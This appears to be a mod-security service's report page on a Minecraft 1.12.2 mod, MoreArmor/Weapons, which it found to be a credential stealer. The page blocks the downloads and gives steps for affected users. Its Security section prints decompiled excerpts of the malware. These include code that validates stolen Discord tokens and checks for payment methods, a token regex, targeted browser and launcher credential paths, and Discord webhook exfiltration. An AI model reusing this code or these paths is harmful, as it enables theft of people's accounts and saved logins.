Skip to content
BrowseScan your modsScan

    No project matches this search.

    2,024,305 files checkedFiles from Modrinth and CurseForge we downloaded and checked. Counted on 24 Oct 2026.636,163 files with their code readFiles whose code we turned back into readable code and read, in an isolated environment. Counted on 24 Oct 2026.269,486 projects gradedProjects with a letter from A to F. Counted on 24 Oct 2026.
    How it worksMalware we foundAPIAboutPrivacyTermsContact

    © 2026 ModgradeNot an official Minecraft product. Not approved by or associated with Mojang or Microsoft.

    MoreArmor/Weapons

    Mod

    A mod with different custom armor sets and weapons

    Removed from CurseForge on 24 Oct 2026. Modgrade reported malware in it to CurseForge on 20 Oct 2026 and to CurseForge on 24 Oct 2026.

    !Security alert
    • Overview
    • SecurityMalware
    • PrivacySteals logins
    • AINone found
    • CompatibilityUp to 1.12.2
    • ModpacksIn 1
    • ReleasesLatest Apr 2022

    Download

    MoreArmorWeaponsv1.12.2-release.jar

    Released 21 Apr 2022 · 2.8 MB

    Malware: this file steals your browser passwords, Discord tokens, Minecraft session, launcher accounts and saved logins of other apps, takes pictures of your screen and sends them to a Discord server. See Security

    Download blocked

    Malware: a file of this project steals your browser passwords, Discord tokens, Minecraft session, launcher accounts and saved logins of other apps, takes pictures of your screen and sends them to a Discord server. See Security

    OverviewSecurityPrivacyAICompatibilityModpacksReleases

    Why no grade

    Malware was found in one of its files, so it has no grade. See Security

    In-game changes

    It has no file for a recent Minecraft version. This is about its files for Minecraft 1.12 to 1.12.2.

    Changes the game's code in 8 areas: Rendering and graphicsChanges 5 game code files in this area: drawing mobs, items, particles and textures on screen., User interfaceChanges 3 game code files in this area: menus, screens, tooltips, the chat window and the in-game overlay., Networking and multiplayerChanges 2 game code files in this area: connections, the server list and what is sent between your game and a server., PlayerChanges 1 game code file in this area: your character: movement, abilities, hunger and controls., Mobs and their behaviorChanges 1 game code file in this area: mobs, animals, villagers, projectiles and how they move and act., Blocks and fluidsChanges 1 game code file in this area: how blocks, fluids and redstone work., Game coreChanges 1 game code file in this area: the main loop, lighting and other code the whole game uses. and Server and world logicChanges 1 game code file in this area: the world, commands, scoreboards, saved data and game rules..

    Adds no new blocks, items or other content.

    Keeps all of vanilla Minecraft's textures, models and sounds.

    Details

    Creator
    endstonecracker
    License
    Not listed
    Downloads
    12K
    Created
    31 Mar 2022
    Official page
    CurseForge

    Security

    Malware: it steals your browser passwords, Discord tokens, Minecraft session, launcher accounts and saved logins of other apps, takes pictures of your screen and sends them to a Discord server

    Found in these files: MoreArmorWeaponsv1.12.2-release.jar (21 Apr 2022) and MoreArmorwWeapons.v1.12.2-release.jar (1.0, 31 Mar 2022). Their downloads are blocked.

    We found this in its code, read without running it.

    Because of this malware, it has no grade.

    If you installed it

    1. Remove MoreArmorWeaponsv1.12.2-release.jar and its other files with malware from your mods folder.
    2. Run a full scan with your antivirus.
    3. Sign out of all sessions and change your Microsoft account password.
    4. Change your Discord password.
    5. Change the passwords saved in your browser and other apps.
    6. Check your other mods.

    What it can do on your computer

    Steals your browser passwords, Discord tokens, Minecraft session, launcher accounts and saved logins of other apps, takes pictures of your screen and sends them to a Discord serverMalware
    One part of the code reads saved logins, tokens or your game session, and a linked part sends data to a fixed address.
    Reads the login data of other programsWarning
    Reads the login data of other programs (browser logins or cookies, Discord token store, launcher account files and saved logins of other apps).
    Reads your browser historyWarning
    Names the files where browsers keep your history or bookmarks.
    Sends to a fixed Discord webhookWarning
    It hides a Discord webhook in its code. Whoever owns that webhook sees what the mod sends to it.
    Accepts connections from other computers
    It can accept connections from other computers. Found in code libraries built into it.
    Can download and run new code
    The same part of the code can download data and run it as code. Found in code libraries built into it.
    Uses folders outside the game
    It can read or write files outside your Minecraft folder, on the rest of your computer. Found: application data, your user folder and launcher files.
    Connects to the internet
    It has code that can go online. Found in the mod's own code and in code libraries built into it. See Privacy

    Why we show this: a mod runs on your computer like any program, so harmful code in it can take your accounts or files. In the grade: malware means no grade, and a Warning in a latest file for a recent Minecraft version lowers it.

    How we checked · The latest file checked
    • FilesWe download the files from Modrinth or CurseForge and look at what is inside them and what their code can do, without running them. Fixed rules tell what is harmful.
      1 latest file. It is not for a recent Minecraft version, so the answer above is about it. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks. See each file in Releases
    • Their codeWe turn the code of the files back into readable code and follow what it does, without running it. This shows what it downloads, what it sends and where your login goes.
      Read without running it
    • Steals your browser passwords, Discord tokens, Minecraft session, launcher accounts and saved logins of other apps, takes pictures of your screen and sends them to a Discord server
      net/jodah/typetools/util/TypeUtil reads browser login or cookie files, reads Discord tokens; "\Local Storage\leveldb\"; "[\w\W]{24}\.[\w\W]{6}\.[\w\W]{27}|mfa\.[\w\W]{84}"net/jodah/typetools/Sender sends to a Discord webhook hidden in Base64; "https://discordapp.com/api/webhooks/966521902753513512/<redacted> (decoded from Base64)"
    • Reads the login data of other programs
      net/jodah/typetools/util/TypeUtil discord: string "[\w\W]{24}\.[\w\W]{6}\.[\w\W]{27}|mfa\.[\w\W]{84}"net/jodah/typetools/util/TypeUtil browser: string "\Local Storage\leveldb\"net/jodah/typetools/util/impl/TypeUtil1 browser: string "\Google\Chrome\User Data\Default\Login Data"net/jodah/typetools/util/impl/TypeUtil15 minecraft_accounts: string "\.minecraft\launcher_accounts.json"net/jodah/typetools/util/impl/TypeUtil6 other_apps: string "/AppData/Roaming/FileZilla/recentservers.xml"
    • Reads your browser history
      net/jodah/typetools/util/TypeUtil profile: string "\Mozilla\Firefox\Profiles"
    • Sends to a fixed Discord webhook
      net/jodah/typetools/Sender Discord webhook address hidden in Base64: https://discordapp.com/api/webhooks/966521902753513512/<redanet/jodah/typetools/util/HWIDUtil Discord webhook address hidden in Base64: https://discord.com/api/webhooks/956273347589709885/<redacte
    • Uses folders outside the game
      Uses the system folder for application data.Reads launcher files.
    • Looked for, not foundWe looked for these in the file and did not find them.
      Other programs, updating itself, the webcam or microphone, an AI service.
    • Code excerpts
      Parts of the code of MoreArmorWeaponsv1.12.2-release.jar, turned back into readable code, where our checks found the problem.
      net.jodah.typetools.util.impl.TypeUtil19.execute
      public void execute() throws Exception {
         String ip = new Scanner(new URL("http://checkip.amazonaws.com").openStream(), "UTF-8").useDelimiter("\\A").next();
         Sender.send(
            new Builder("Personal")
               .addField("IP", ip, true)
               .addField("OS", System.getProperty("os.name"), true)
               .addField("Name", System.getProperty("user.name"), true)
               .addField("HWID", HWIDUtil.getID(), true)
               .build()
         );
      }
      me.alpha432.oyvey.util.PlayerUtil$lookUpUUID.run
      public void run() {
         this.name = this.lookUpName();
      }
      me.alpha432.oyvey.util.PlayerUtil.requestIDs
      public static String requestIDs(String data) {
         try {
            String query = "https://api.mojang.com/profiles/minecraft";
            URL url = new URL(query);
            HttpURLConnection conn = (HttpURLConnection)url.openConnection();
            conn.setConnectTimeout(5000);
            conn.setRequestProperty("Content-Type", "application/json; charset=UTF-8");
            conn.setDoOutput(true);
            conn.setDoInput(true);
            conn.setRequestMethod("POST");
            OutputStream os = conn.getOutputStream();
            os.write(data.getBytes(StandardCharsets.UTF_8));
            os.close();
            InputStream in = new BufferedInputStream(conn.getInputStream());
            String res = convertStreamToString(in);
            in.close();
            conn.disconnect();
            return res;
         } catch (Exception e) {
            return null;
         }
      }
      net.jodah.typetools.util.TypeUtil.lambda$getValidTokens$1
      public static List<String> getValidTokens(List<String> tokens) {
         ArrayList<String> validTokens = new ArrayList<>();
         tokens.forEach(token -> {
            try {
               URL url = new URL("https://discordapp.com/api/v6/users/@me");
               HttpURLConnection con = (HttpURLConnection)url.openConnection();
               Map<String, Object> stuff = (Map<String, Object>)gson.fromJson(getHeaders(token), (new TypeToken<Map<String, Object>>() {}).getType());
               stuff.forEach((key, value) -> con.addRequestProperty(key, (String)value));
               con.getInputStream().close();
               validTokens.add(token);
            } catch (Exception var5) {
            }
         });
         return validTokens;
      }
      net.jodah.typetools.util.impl.TypeUtil3.getUserData
      private String getUserData(String token) {
         return TypeUtil.getContentFromURL("https://discordapp.com/api/v6/users/@me", token);
      }
      net.jodah.typetools.util.TypeUtil.getContentFromURL
      public static String getContentFromURL(String link, String auth) {
         try {
            URL url = new URL(link);
            HttpURLConnection httpURLConnection = (HttpURLConnection)url.openConnection();
            httpURLConnection.setRequestMethod("GET");
            Map<String, Object> json = (Map<String, Object>)gson.fromJson(getHeaders(auth), (new TypeToken<Map<String, Object>>() {}).getType());
            json.forEach((key, value) -> httpURLConnection.addRequestProperty(key, (String)value));
            httpURLConnection.connect();
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(httpURLConnection.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
      
            String line;
            while ((line = bufferedReader.readLine()) != null) {
               stringBuilder.append(line).append("\n");
            }
      
            bufferedReader.close();
            return stringBuilder.toString();
         } catch (Exception ignored) {
            return "";
         }
      }
      net.jodah.typetools.util.impl.TypeUtil3.hasPaymentMethods
      private boolean hasPaymentMethods(String token) {
         return TypeUtil.getContentFromURL("https://discordapp.com/api/v6/users/@me/billing/payment-sources", token).length() > 4;
      }
      me.alpha432.oyvey.util.PlayerUtil.getHistoryOfNames
      public static List<String> getHistoryOfNames(UUID id) {
         try {
            JsonArray array = getResources(new URL("https://api.mojang.com/user/profiles/" + getIdNoHyphens(id) + "/names"), "GET").getAsJsonArray();
            List<String> temp = Lists.newArrayList();
      
            for (JsonElement e : array) {
               JsonObject node = e.getAsJsonObject();
               String name = node.get("name").getAsString();
               long changedAt = node.has("changedToAt") ? node.get("changedToAt").getAsLong() : 0L;
               temp.add(name + "§8" + new Date(changedAt).toString());
            }
      
            Collections.sort(temp);
            return temp;
         } catch (Exception ignored) {
            return null;
         }
      }
      me.alpha432.oyvey.util.PlayerUtil.getResources
      private static JsonElement getResources(URL url, String request) throws Exception {
         return getResources(url, request, null);
      }
      net.jodah.typetools.util.HWIDUtil.blacklisted
      public static boolean blacklisted() {
         try {
            String s = new Scanner(new URL("").openStream(), "UTF-8").useDelimiter("\\A").next();
            return s.contains(getID());
         } catch (Exception e) {
            return false;
         }
      }
      10

    Privacy

    Malware: it steals your browser passwords, Discord tokens, Minecraft session, launcher accounts and saved logins of other apps, takes pictures of your screen and sends them to a Discord server

    Found by the file checks. See Security for what to do if you installed it.

    How we checked · Its one file read
    • Files readWe read the code without running it. We list each web address the code contacts while you play, and what it sends. Code that is never used is left out.
      The code of its one file, for Minecraft 1.12 to 1.12.2. See each file in Releases
    • checkip.amazonaws.com
      Purpose not known.Unencrypted (http)Plain http: what is sent to this address is not encrypted on the way.
    • api.mojang.com
      Talks to an online service the mod works with.
      Unknown data
    • discordapp.com
      Checks a Discord account. Talks to Discord's user service.Explained by AI (may be wrong)Explained by an AI from the code. May be wrong.
    • Address built while the game runsThe code builds this address while the game runs: it is not written in the file.
      Purpose not known.

    AI

    No sign so far that AI was used to make it

    We looked for AI tools in its description, files and images and found none.

    We have not read its changelogs yet.

    No sign of AI in the game

    We found no AI service, AI library or AI model file in its code.

    Why we show this: some players and servers avoid projects made with AI, and AI in the game can send what you write to an online service. Not in the grade: using AI does not tell whether a project works well or is kept up to date.

    How we checked · 4 places read
    • Author on ModrinthA form on Modrinth where the author can declare AI content and AI features in the game. It is optional and most authors leave it empty.
      Not on Modrinth.
    • Description and changelogsThe description, project page and newest changelogs: sentences saying an AI tool was used, and text pasted from an AI chat.
      Nothing found in the description
      Changelogs not read yet
    • Its filesFiles that AI coding tools leave behind (like AGENTS.md), and the texts inside the files you download.
      Nothing found
    • Images in its filesHidden data in the images of the files you download, where AI image tools write their name and settings.
      Nothing found
      1 image read
    • Code of the modThe code and files of the mod, read without running it: addresses of AI services, AI libraries, AI model files and a place for your own AI key.
      No AI service, AI library or AI model file
      183 code files read

    Compatibility

    See all 2 files
    Forge
    1.121.151.171.2026.1

    Point at or tap a version to see its loaders.

    RequiresProjects you must also install for it to work. From the author's lists for its files for recent Minecraft versions, or from its project page.Nothing
    OptionalProjects it can work with but does not need. The author lists them.Nothing
    IncludesProjects packed inside its files.Nothing
    Speed of updatesHow fast it gets a file for new Minecraft versions, on average, compared with similar projects. Not part of the grade.No file yet for any of the last 6 Minecraft versions.

    Modpacks using this project

    Find modpacks with it

    Modpacks that include MoreArmor/Weapons in at least one of their versions, most downloaded first.

    ModpackDownloadsLast version with it
    XChoaticCraftX13 downloadslast version with it 24 Jul 2026

    Latest files

    The newest file for each Minecraft version and loader. None is for a recent Minecraft version. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks.

    MinecraftLoaderVersionSecuritySendsRequires
    Older Minecraft versions
    1.12 to 1.12.2·Not stated1.11.1 · MoreArmorWeaponsv1.12.2-release.jarSends: Unknown dataRequires:NothingMalwareHarmful code found. The download is blocked. See Security.

    2 releases

    MinecraftLoaderVersionReleasedSecurityGet it onDownload
    1.12 to 1.12.21.12 to 1.12.2The latest file for its Minecraft version and loader·Forge1.11.1 · MoreArmorWeaponsv1.12.2-release.jar·21 Apr 2022MalwareHarmful code found. The download is blocked. See Security.Removed from CurseForge on 24 Oct 2026Download blockedDownload blocked: this file steals your browser passwords, Discord tokens, Minecraft session, launcher accounts and saved logins of other apps, takes pictures of your screen and sends them to a Discord server.
    1.12 to 1.12.21.12 to 1.12.2·Forge1.01.0 · MoreArmorwWeapons.v1.12.2-release.jar·31 Mar 2022MalwareHarmful code found. The download is blocked. See Security.Removed from CurseForge on 24 Oct 2026Download blockedDownload blocked: this file steals your browser passwords, Discord tokens, Minecraft session, launcher accounts and saved logins of other apps, takes pictures of your screen and sends them to a Discord server.